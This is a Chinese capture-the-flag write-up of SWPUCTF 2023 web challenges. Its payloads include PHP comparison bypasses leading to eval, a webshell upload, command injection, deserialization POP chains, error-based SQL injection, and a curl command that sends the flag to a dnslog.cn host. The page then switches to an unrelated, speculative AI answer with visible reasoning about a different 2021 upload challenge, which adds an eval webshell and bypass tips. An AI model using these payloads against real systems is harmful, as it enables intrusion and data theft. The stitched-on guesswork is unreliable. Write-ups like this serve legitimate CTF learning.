[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup

本文围绕Web CTF题目展开,涵盖colorful_snake、NSS_HTTP_CHEKER等多个题目。涉及利用网站转换、绕过加密、文件上传、反序列化、无回显RCE、SQL注入等多种解题方法,还介绍了通过构造payload、利用魔术方法、使用DNSlog外带数据、报错注入、爆破等技巧获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Web

colorful_snake

来玩贪吃蛇~

F12查看源代码,可以看到this_is_real_flag函数,发现是unicode编码

image-20231019080029726

利用网站转换得到flag

image-20231019080055922

一键连接!

连连need

<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
    if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
        if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
            echo "Congratulations~~~~~~~~~";
            echo "试试need Antsword<br/>";
            @eval($_POST['Nss']);
        }else{
            echo "可曾听过data协议?";
        }
    } else {
        echo "sha1又如何相等呢";
    }
} else {
    echo "如何让md5值相等呢¿";
} 

第一 层要让md5_1md5_2经过md5加密后强比较类型相等,并且md5_1不等于md5_2,这里可以用数组绕过

构造payload

?md5_1[]=1&md5_2[]=2

第二层便是绕过sha1加密,这里也可以用数组

payload:

sha1_1[]=3&sha1_2[]=4

接下来可以看到file_get_contents,这个函数的内容就是显示文件内容,可以利用data协议传入数据流

payload:

new_player=data://text/plain,Welcome to NSSCTF!!!

接下来利用Nss来进行RCE即可,最后发包如下

?md5_1[]=1&md5_2[]=2&sha1_1[]=3&sha1_2[]=4&new_player=data://text/plain,Welcome to NSSCTF!!!

POST DATA:
Nss=system('cat /f*');

image-20231019084245373

NSS_HTTP_CHEKER

来看看你的HTTP知识储备!

image-20231019084418065

好好好,喜欢这种,直接秒了

Burp发包如下

image-20231019084817744

ez_talk

文件上传,先直接上传个php文件

image-20231019133823355

试一试修改MIME类型,但是被过滤

image-20231019133932588

猜测是不是有文件头检测,添加文件头GIF89a?可以看到绕过,路径被翻转

image-20231019134158540

直接访问

http://node6.anna.nssctf.cn:28908/uploads/shell.php

可以看到已经挂马成功,直接RCE得到flag

image-20231019134435505

Pingpingping

程序未响应

<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){
    system("ping -c 3 ".$_ping);
}else{
    $data = base64_encode(file_get_contents("error.png"));
    echo "<img src='data:image/png;base64,$data'/>";
}

得到源代码,通过简单的代码审计可以知道我们需要传参Ping_ip.exe,然后再执行system(ping -c 3 +我们传入的值 )

但是这里涉及到PHP非法传参的问题,也就是如果直接传入Ping_ip.exe,在PHP中会被解析成Ping_ip_exe,所以我们将原本参数的_改为[,即可传入正确的参数

构造payload:

?Ping[ip.exe=127.0.0.1|ls /

成功扫描根目录

image-20231019135000316

接下来直接获取flag即可

?Ping[ip.exe=127.0.0.1|cat%20/f* 

UnS3rialize

Let’s do some deserialization 😃

给出源代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{
            die("N0!");
        }
    }
}



if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
} else {
    echo "Let's do some deserialization :)";
} 

考察反序列化,倒着找pop链

可以看到在NSS类中,存在__invoke()魔术方法,里面存放着可以执行系统命令的函数,所以这便是我们的终点

__invoke()魔术方法 : 将对象当作函数来使用时执行此方法

继续向上找,这个可能不太明显,就是在C类的return $want();中,在这里want被当做函数处理,触发方式便是__get()魔术方法

__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发

向上找,在T类中的return $this->sth->var;这里希望返回sth类中的var属性,但是不存在,所以可以通过该语句触发__get()魔术方法,但是前提是先触发__toString()魔术方法

__toString(): 当一个对象被当作字符串使用时触发

最后便是在F类中的__destruct()魔术方法的echo语句,将notes作为字符串处理,这便是pop链的触发点,因为__desrtuct()会自动触发

__destruct() :对象被销毁时触发

最后的pop链如下

NSS::__invoke() <-- C::__get() <-- T::__toString() <-- F::__destruct

由此构造exp,这里因为还要绕过__wakeup()所以就先不加base64_encode

<?php
class NSS
{
    public $cmd;

    function __construct(){
        $this ->cmd = "ls /";
    }
}


class C
{
    public $whoami;

    function __construct()
    {
        $this ->whoami = new NSS();
    }
}

class T
{
    public $sth ;

    function __construct(){
        $this ->sth = new C();
    }
}

class F
{
    public $user ;
    public $passwd;
    public $notes;

    function __construct()
    {
        $this->user = "SWPU";
        $this->passwd = "NSS";
        $this->notes = new T();
    }
}

$a = new F();
echo (serialize($a));

运行得到

O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}

然后修改,利用对象的属性数量不一致方法来进行绕过,修改得到

O:1:"F":5:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}

然后base64编码

TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NDoibHMgLyI7fX19fQ0K

传参即可执行命令

image-20231019143855991

之后修改脚本的命令为cat /f*在重复一下步骤即可得到flag

payload:

TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NzoiY2F0IC9mKiI7fX19fQ0K

image-20231019144057974

RCE-PLUS

没有回显如何读flag呢

无回显RCE,可以看看这篇文章

[CTF]命令执行无回显利用

这里利用DNSlog直接外带出flag

Get SubDomain获取域名,然后根据文章的格式

image-20231019151515787

cmd=curl `命令`.域名

payload如下:

http://node6.anna.nssctf.cn:28181/?cmd=curl%20`cat%20/f*`.vv5yp9.dnslog.cn

然后点Refresh Record,可以看到flag被外带出来了

image-20231019151508838

修改一下格式即为正确flag

查查need

重生之我是带黑阔查爆油专所有人!

hint1:前端源代码有hint,而且注意使用参数,或者直接拿起你们最喜欢的kali一键启动?

既然说了前端代码有hint,看一眼

image-20231019152331325

然后现在学生名单,随便找个名字

考察的是SQL注入,那就先找注入点以及闭合方式

image-20231020095723360

这里的注入点应该是student_id,因为可以明显的看到在报错语句中,password被md5加密了,所以可以判断注入点

在经过试错之后,发现闭合方式是""(双引号),那就先试试union联合查询注入,先判断显示位

image-20231020101456494

显示位不同的时候会报错,但是显示位相同的时候也会报错

后面发现是sql语句的问题,也就是那个;

image-20231020101537207

那既然都看到报错了,就试试报错注入

payload爆库:

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(database()),0x7e),1) --+#&password=11111

image-20231020101608856

看来思路对了,接下来爆表

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+&password=11111

image-20231020101725255

然后爆字段

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'),0x7e),3) --+&password=11111

image-20231020112212068

但是这个payload并不能显示完全,轻微修改一下使其显示出后面的字段名

name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'),31,40),0x7e),3) --+&password=11111

发现没有flag,看看有没有表里面藏着flag,没有。。。。

不知道flag藏在哪

补充

麻了,赛后也是把题目重新看了一遍,发现flag其实是藏在了grade字段内的最后一条,这里打算直接用名单来爆破找到flag

用burp进行爆破,先发到测试器,将name添加变量

image-20231021235808668

导入名单,将学生名单复制到txt中,然后导入

image-20231022000215892

开始爆破

image-20231022000514315

在这。。。服了,脑电波没对上

If_else

像你这样的大师手法一定很厉害

某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果

提交方式$_POST["check"]

记得访问一下check.php哦~

check.php的内容
<?php
    $a=false;
    $b=false;
    if(你提交的部分将会被写至这里)
    {$a=true;}
    else
    {$b=true;}
    if($a===true&&$b===true)
    eval(system(cat /flag));
?> 

不知道这道题考的什么。。。可能是考PHP如何写吧

$被ban了,不能用,那就直接执行system(cat /f*)

payload直接放下面了

check=11==11){ system('cat /f*');} /*

传入之后访问check.php得到flag

image-20231020115559945

backup

听过备份文件吗

hint有提示备份文件,直接访问www.zip,可以得到源代码

<?php
error_reporting(0);
require_once("flag.php");

class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

    public function __construct(){
        $this->yuki='tell me where';
        $this->molly='dont_tell_you';
        $this->dimoo="you_can_guess";
    }

    public function __wakeup(){
        global $flag;
        global $where_you_go;
        $this->yuki=$where_you_go;

        if($this->molly === $this->yuki){
            echo $flag;
        }
    }
}

$pucky = $_GET['wq'];
if(isset($pucky)){
    if($pucky==="二仙桥"){
        extract($_POST);
        if($pucky==="二仙桥"){    
            die("<script>window.alert('说说看,你要去哪??');</script>");
        }
        unserialize($pucky);
    }
}

看来我们需要让wq等于二仙桥来进入第一个if语句,然后再绕过第二个if语句,进行反序列化

在进入unserialize之后,__wakeup()会进行赋值,如果molly===yuki那么即可得到flag

第一个点,就是绕过第二个if,这里直接变量覆盖即可,当然GET和POST都发送wq是不行的,在POST中发送pucky即可

然后在反序列化的时候采取引用绕过的方式,exp如下

<?php

class popmart{
    public $yuki;
    public $molly;
    public $dimoo;

}
$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);

运行得到

O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}

p0pmart.php界面直接传入即可

image-20231022004332238

<think>嗯,我现在需要解决的是SWPUCTF 2021新生中的easyupload3.0题目。根据用户提供的引用内容,之前有easyrce和easyupload2.0的题目,其中easyupload2.0涉及到上传绕过,可能涉及到文件类型检查或者内容过滤。我需要先理解这些已有的信息,再推测easyupload3.0可能的解题思路。 首先,引用[2]中提到,在easyupload2.0中,上传图片马后,修改文件后缀为php可能成功,但得到的flag是假的。真正的解法是通过上传phpinfo文件来获取flag。这可能意味着题目中存在服务器端的配置问题,或者某些过滤机制可以通过phpinfo来暴露敏感信息。因此,在easyupload3.0中,可能延续了类似的文件上传挑战,但增加了更多的安全措施,需要更巧妙的绕过方法。 可能的解题步骤包括: 1. **分析上传功能**:检查前端和后端对上传文件的限制,如文件类型、MIME类型、文件头检查等。在easyupload2.0中可能允许上传图片,但禁止执行PHP。如果3.0版本加强了过滤,可能需要其他方式绕过。 2. **尝试常见绕过方法**:例如修改文件后缀为php5、phtml等,或者使用双写后缀(如.pphphp)。另外,检查是否允许上传.htaccess文件来修改服务器配置,从而允许执行特定扩展名的文件。 3. **利用内容检测绕过**:如果后端检查文件内容,可能需要将恶意代码嵌入到图片的元数据中,或者使用GIF头等合法文件头来伪装。例如,在文件开头添加GIF89a,后面跟上PHP代码。 4. **上传phpinfo文件**:如引用[2]所述,上传phpinfo文件可能暴露服务器环境变量或配置文件中的flag。需要尝试上传一个包含<?php phpinfo(); ?>的文件,并访问其路径查看输出。 5. **检查服务器错误信息**:上传文件时,可能会返回错误信息,这些信息有助于判断服务器的过滤规则。例如,如果提示“不允许上传php文件”,则说明后缀被检测,需要尝试其他扩展名。 6. **利用解析漏洞**:某些服务器(如Apache)可能存在解析漏洞,例如上传文件名为shell.php.jpg,但服务器错误地将其解析为PHP文件。这种漏洞可能存在于特定版本的服务器软件中。 7. **检查黑名单机制**:如果后端使用黑名单来禁止某些扩展名,可能存在遗漏的情况。例如,如果黑名单包含.php、.php5,但未考虑.phtml或.phar,可以尝试这些扩展名。 8. **使用特殊技术**:例如利用Exif元数据注入PHP代码,或者使用图像处理库的漏洞(如ImageMagick的漏洞)来执行代码。 9. **查看Writeup或提示**:根据其他参者的经验,可能存在特定的绕过技巧。例如,某些题目可能需要特定的文件名或结合其他漏洞(如路径遍历)来上传文件到可执行目录。 结合以上思路,对于easyupload3.0,可能的解法是上传一个带有图片马的文件,绕过内容检查,并通过修改扩展名或利用解析漏洞来执行代码,或者通过phpinfo查找flag的位置。由于题目可能升级了防护措施,需要尝试更多的绕过方法,例如使用.htaccess文件配合特定扩展名,或者利用服务器配置的疏漏。 需要注意的是,具体的解题步骤可能因题目设置而异,可能需要实际尝试不同的方法,观察服务器的反应,逐步调整payload。此外,参考其他类似题目的writeup也会有帮助,但用户提到的引用中没有直接关于easyupload3.0的信息,因此需要基于已有知识进行推断。</think>### SWPUCTF 2021 新生 easyupload3.0 解题思路 根据题目名称 **easyupload3.0** 和同类题目 **easyupload2.0** 的解法(引用[2]),推测本题为文件上传类题目,可能涉及以下关键点: --- #### **1. 文件类型绕过** - **目标**:绕过服务器对文件类型的限制(如仅允许图片上传)。 - **方法**: - 修改文件扩展名为允许的类型(如 `.jpg`、`.png`),但文件内容保留 PHP 代码。 - 在文件开头添加图片文件头(如 `GIF89a`)以欺骗 MIME 类型检测。 - 示例 Payload: ```php GIF89a <?php @eval($_POST['cmd']); ?> ``` --- #### **2. 扩展名黑名单绕过** - **目标**:若服务器过滤了 `.php` 扩展名,尝试其他可执行扩展名: - `.php5`、`.phtml`、`.phar`、`.htaccess`(需配合解析规则)[^1]。 - 大小写混合(如 `.PhP`)。 - 双写绕过(如 `.pphphp`)。 --- #### **3. 内容检测绕过** - **目标**:避免服务器检测到 `<?php` 等敏感字符串。 - **方法**: - 使用短标签:`<?= system($_GET['cmd']); ?>`。 - 编码混淆:如 Base64 编码后通过 `eval` 执行。 - 利用图像 EXIF 注入:将代码写入图片的注释或元数据。 --- #### **4. 上传路径与解析漏洞** - **关键点**:上传后的文件路径是否可直接访问,或存在解析漏洞。 - 尝试上传 `.htaccess` 文件,强制将特定扩展名解析为 PHP
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值